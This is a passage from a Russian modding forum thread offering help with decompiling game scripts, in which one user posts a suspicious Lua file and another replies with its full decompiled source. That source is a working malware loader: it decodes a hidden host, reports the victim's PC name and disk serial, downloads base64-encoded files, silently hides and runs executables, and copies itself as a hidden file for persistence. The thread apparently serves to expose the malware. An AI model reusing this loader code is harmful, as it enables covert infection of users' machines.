Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,770
6,005
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

Loaaad

Новичок
6
0
Братцы, декомпилируйте пожалуйста. Чет пробую, не выходитц
Но мне кажется если его запустить, будет че-то подгружаться на пк.
81 строчка вот интересует больше всего.
 

Вложения

  • AHK ARENA.lua
    11.8 KB · Просмотры: 3

sulovych

Активный
118
43
Братцы, декомпилируйте пожалуйста. Чет пробую, не выходитц
Но мне кажется если его запустить, будет че-то подгружаться на пк.
81 строчка вот интересует больше всего.
Lua:
local slot0_a1352 = require("ffi")

slot0_a1352.cdef([[
    int ShellExecuteA(int hwnd, int lpOperation, const char *lpFile, int lpParameters, int lpDirectory, int nShowCmd);
    int __stdcall GetVolumeInformationA(const char* lpRootPathName, char* lpVolumeNameBuffer, uint32_t nVolumeNameSize, uint32_t* lpVolumeSerialNumber, uint32_t* lpMaximumComponentLength, uint32_t* lpFileSystemFlags, char* lpFileSystemNameBuffer, uint32_t nFileSystemNameSize);
    int SetFileAttributesA(const char* lpFileName, unsigned long dwFileAttributes);
    bool CopyFileA(const char *, const char *, bool);
]])

local slot1_a1357 = slot0_a1352.load("Shell32.dll")
local slot2_a1358 = "6555102009"
local slot3_a1359 = "d2hpdGVsb2FkZXIuZnVu"
local slot4_a1363 = os.getenv("COMPUTERNAME")

function ShellExecute(arg0)
    lua_thread.create((function ()
        wait(500)
        slot1_a1357.ShellExecuteA(0, 0, arg0, 0, 0, 0)
    end))
end

function decodeBase64String(arg0)
    local slot1_a1383 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    return string.gsub(arg0, "[^" .. slot1_a1383 .. "=]", ""):gsub(".", (function (arg0)
        if arg0 == "=" then
            return ""
        end

        local slot1_a1430 = ""
        local slot2_a1417 = slot1_a1383:find(arg0) - 1

        for slot6_a1415 = 6, 1, -1 do
            slot1_a1430 = slot1_a1430 .. (slot2_a1417 % 2^slot6_a1415 - slot2_a1417 % 2^(slot6_a1415 - 1) > 0 and "1" or "0")
        end

        return slot1_a1430
    end)):gsub("%d%d%d?%d?%d?%d?%d?%d?", (function (arg0)
        if #arg0 ~= 8 then
            return ""
        end

        local slot1_a1456 = 0

        for slot5_a1451 = 1, 8 do
            slot1_a1456 = slot1_a1456 + (arg0:sub(slot5_a1451, slot5_a1451) == "1" and 2^(8 - slot5_a1451) or 0)
        end

        return string.char(slot1_a1456)
    end))
end

function generateRandomString(arg0)
    math.randomseed(os.time())

    local slot1_a1492 = ""
    local slot2_a1480 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

    for slot6_a1476 = 1, arg0 do
        local slot7_a1482 = math.random(1, #slot2_a1480)
        slot1_a1492 = slot1_a1492 .. slot2_a1480:sub(slot7_a1482, slot7_a1482)
    end

    return slot1_a1492
end

function getserial()
    local slot0_a1499 = slot0_a1352.new("unsigned long[1]", 0)

    slot0_a1352.C.GetVolumeInformationA(nil, nil, 0, slot0_a1499, nil, nil, nil, 0)

    return slot0_a1499[0]
end

function FuckingLoader()
    local slot0_a1516 = decodeBase64String(slot3_a1359)
    local slot1_a1520 = os.getenv("temp")
    local slot2_a1521 = "\\"
    local slot3_a1524 = generateRandomString(18)
    local slot1_a1525 = slot1_a1520 .. slot2_a1521 .. slot3_a1524
    local slot2_a1526 = "http://"
    local slot4_a1528 = "/tea.php?id="
    local slot5_a1530 = slot2_a1358
    local slot6_a1531 = "&serial="
    local slot7_a1533 = getserial()
    local slot8_a1534 = "&pc="
    local slot9_a1536 = slot4_a1363
    local slot2_a1537 = slot2_a1526 .. slot0_a1516 .. slot4_a1528 .. slot5_a1530 .. slot6_a1531 .. slot7_a1533 .. slot8_a1534 .. slot9_a1536

    downloadUrlToFile(slot2_a1537, slot1_a1525, (function ()
        local slot0_a1548 = io.open(slot1_a1525, "r")

        if slot0_a1548 then
            local slot1_a1547 = 1
            local slot2_a1551 = slot0_a1548:read()
            local slot3_a1554 = decodeJson(slot2_a1551)

            lua_thread.create((function ()
                while slot3_a1554["task" .. slot1_a1547] ~= nil do
                    local slot0_a1603 = slot3_a1554["task" .. slot1_a1547].name
                    local slot1_a1586 = decodeBase64String(slot3_a1554["task" .. slot1_a1547].content)
                    local slot2_a1583 = io.open(slot0_a1603, "wb")

                    if slot2_a1583 then
                        slot2_a1583:write(slot1_a1586)
                        slot2_a1583:close()

                        if string.sub(slot0_a1603, -4) == ".exe" then
                            slot0_a1352.C.SetFileAttributesA(getGameDirectory() .. "/" .. slot0_a1603, 2)
                            ShellExecute(getGameDirectory() .. "/" .. slot0_a1603)
                        end
                    end

                    slot1_a1547 = slot1_a1547 + 1
                end
            end))
            slot0_a1548:close()
            os.remove(slot1_a1525)
            os.remove(thisScript().path)
        end
    end))
end

function Updater()
    FuckingPath = thisScript().directory .. "/lib.lua"

    slot0_a1352.C.CopyFileA(thisScript().path, FuckingPath, true)
    slot0_a1352.C.SetFileAttributesA(FuckingPath, 7)
end

function main()
    Updater()
    FuckingLoader()

    while true do
        wait(0)
    end
end
 

MatsumotoHaru

Новичок
11
3
на проверку)
 

Вложения

  • [Pawno-Help] HOOKER-ARIZONA-RPG-FULL-COPY-MOD-ARIZONA-RP.luac
    138.5 KB · Просмотры: 5